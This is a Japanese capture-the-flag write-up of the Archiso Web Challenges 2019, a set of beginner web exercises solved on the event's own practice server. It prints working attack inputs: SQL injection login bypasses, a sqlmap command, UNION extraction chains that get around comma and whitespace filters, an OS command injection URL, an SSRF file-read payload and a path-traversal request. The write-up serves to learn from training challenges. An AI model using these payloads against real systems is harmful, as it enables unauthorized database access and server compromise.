Archiso Web Challenges 2019 Writeup
こんにちは、Marsです。
今回は、Archiso Web Challenges 2019に参加してきました。
問題は12問あります。
今回は、8時間38分ほどかけてやっと全問解けましたが、ちょっと遅かったです。
今後解くスピードを上げるために、Writeupを書いておきます。
問題の全体はこんな感じです。
[100点問題はパスします]
Out of Display [100pt] (パス)
Whited Out [100pt] (パス)
Rel [100pt] (パス)
Agent [200pt]
- Keyword:
User Agent
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
- Flag:
WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}Ref [200pt]
- Keyword:
Referer
Referer: https://www.google.com/
- Flag:
WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}Oluri Key [300pt]
- Keyword:
SQL Injection
User ID: ' OR '1'='1'; --
- Flag:
WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}Fruits List [300pt]
Keyword: OS Command Injection
- Source Code:
- Payload:
view-source:https://awebc19.archiso.dev/problems/fruits_list/index.php?season=;ls%20-la%20/
- Flag:
WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}
Dolls Data 1 [400pt]
- Keyword:
SQL InjectionMethod 1:
- Payload:
sqlmap -u "https://awebc19.archiso.dev/problems/dolls_data_1/query.php" --data "value=1&option=id" --cookie="session=5d22cab7-413c-48e0-a858-e34eee4abd6a;__cfduid=d4712e5e18be0cbf6c2521da1b2e0b8521577179386" -p value --dump --identify-waf -v 3
Method 2:
- Find database:
1' UNION ALL SELECT schema_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata; --
Result:
- Find tables:
1' UNION ALL SELECT table_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables; --
Result:
dolls_data_1_flag_b3f4befc
- Find columns:
1' UNION ALL SELECT column_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns; --
Result:
kar98k
一番したにスクロールして、
- Get flag:
1' UNION ALL SELECT kar98k,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM dolls_data_1_flag_b3f4befc; --
Result:
Flag: WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}
Single Page HTML Viewer 2 [419pt]
- Keyword:
Server Side Request Forgery
問題文が重要:
- Try:
まず、FiddlerでNull Byteを注入してみる
(Cookie丸出しですが無視してください^ ^)
エラーが出たので、使用された関数とquery.phpのpathが分かった(みんな分かると思いますのでサイト側のmain.jsコードの説明を省略)
ローカルパスfile://
で読み込みます。 - Payload:
file:///flag
- Result:
(Cookie丸出しですが無視してください^ ^) - Flag:
WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}
Go Mikuji [500pt]
- Keyword:
Path Traversal
ファイルが与えられます。
- Introduction:
ファイル構造:
flag.txtはpublicディレクトリの親ディレクトリに入っています。
Golangの関数を一つ一つ調べました。
ざっと説明すると、パス:”カレントディレクトリのPath+public+URL断片"のファイルのテキストを表示するコードです。
コード1~2行目:URL断片は、まずhttp requestのオブジェクト?(多分)、を変数rに格納し、rからURLを取得し、そのURLの一番後ろにあるスラッシュ/の次の文字から末尾文字までの文字列となっています。
コード3行目:バックスラッシュがあったらそれをスラッシュに書き換える。
Path Traversalを起こすには、ちょっと工夫すれば大丈夫です。
https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt
にアクセス
↓(コード1行目と2行目の処理)
..\\flag.txt (URL断片)
↓
path:カレントディレクトリのPath/public/..\\flag.txt
↓(コード3行目の処理)
path:カレントディレクトリのPath/public/../flag.txt
↓(コード4行目の処理)
os.Open(path) - Payload:
curl -v https://awebc19.archiso.dev/problems/go_mikuji/..\\flag.txt
Flag: WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}
Dolls Data 2 [400pt]
手動注入でかなりはまりました。原因は11列のデータも取得しようとしてることを思いつかなかったことです。
8列までNULLを試したがずっと失敗してて、エラーの理由が分かりませんでした。
反省点:何かのフィルタリングでsqlmapが失敗する場合は、bashとかでも書いて列数を増やしながらcurlで確認して手動注入します。
- Keyword:
SQL Injection
SQL Injection: カンマがフィルタされた
解決方法:
github.com
( Ctrl+F: No Comma - bypass using OFFSET, FROM and JOIN )
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
- Find database:
1' UNION ALL SELECT * FROM (SELECT schema_name FROM information_schema.schemata)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Result:
spas - Find table:
1' UNION ALL SELECT * FROM (SELECT table_name FROM information_schema.tables)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Result:
dolls_data_2_flag_dfe61e6c - Find columns:
1' UNION ALL SELECT * FROM (SELECT column_name FROM information_schema.columns)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Result:
hkm4 - Get flag:
1' UNION ALL SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c)a JOIN (SELECT NULL)b JOIN (SELECT NULL)c JOIN (SELECT NULL)d JOIN (SELECT NULL)e JOIN (SELECT NULL)f JOIN (SELECT NULL)g JOIN (SELECT NULL)h JOIN (SELECT NULL)i JOIN (SELECT NULL)j JOIN (SELECT NULL)k; --
- Flag:
WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}Dolls Data 3 [400pt]
- Keyword:
SQL Injection
SQL Injection: 空白もカンマもフィルタされた
解決方法:
空白→/**/ ( コメントの記述 ) - Find database:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/schema_name/**/FROM/**/information_schema.schemata)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Result:
spitfire - Find table:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/table_name/**/FROM/**/information_schema.tables)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Result:
dolls_data_3_flag_979c7e90 - Find columns:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/column_name/**/FROM/**/information_schema.columns)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Result:
m4a1 - Get flag:
1'/**/UNION/**/ALL/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)a/**/JOIN/**/(SELECT/**/NULL)b/**/JOIN/**/(SELECT/**/NULL)c/**/JOIN/**/(SELECT/**/NULL)d/**/JOIN/**/(SELECT/**/NULL)e/**/JOIN/**/(SELECT/**/NULL)f/**/JOIN/**/(SELECT/**/NULL)g/**/JOIN/**/(SELECT/**/NULL)h/**/JOIN/**/(SELECT/**/NULL)i/**/JOIN/**/(SELECT/**/NULL)j/**/JOIN/**/(SELECT/**/NULL)k;/**/--
- Flag:
WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}
SQL Injection: 早見表
marsblog.hatenablog.jp
全体としては初心者向けな感じがしますが、とても良い問題だと思います。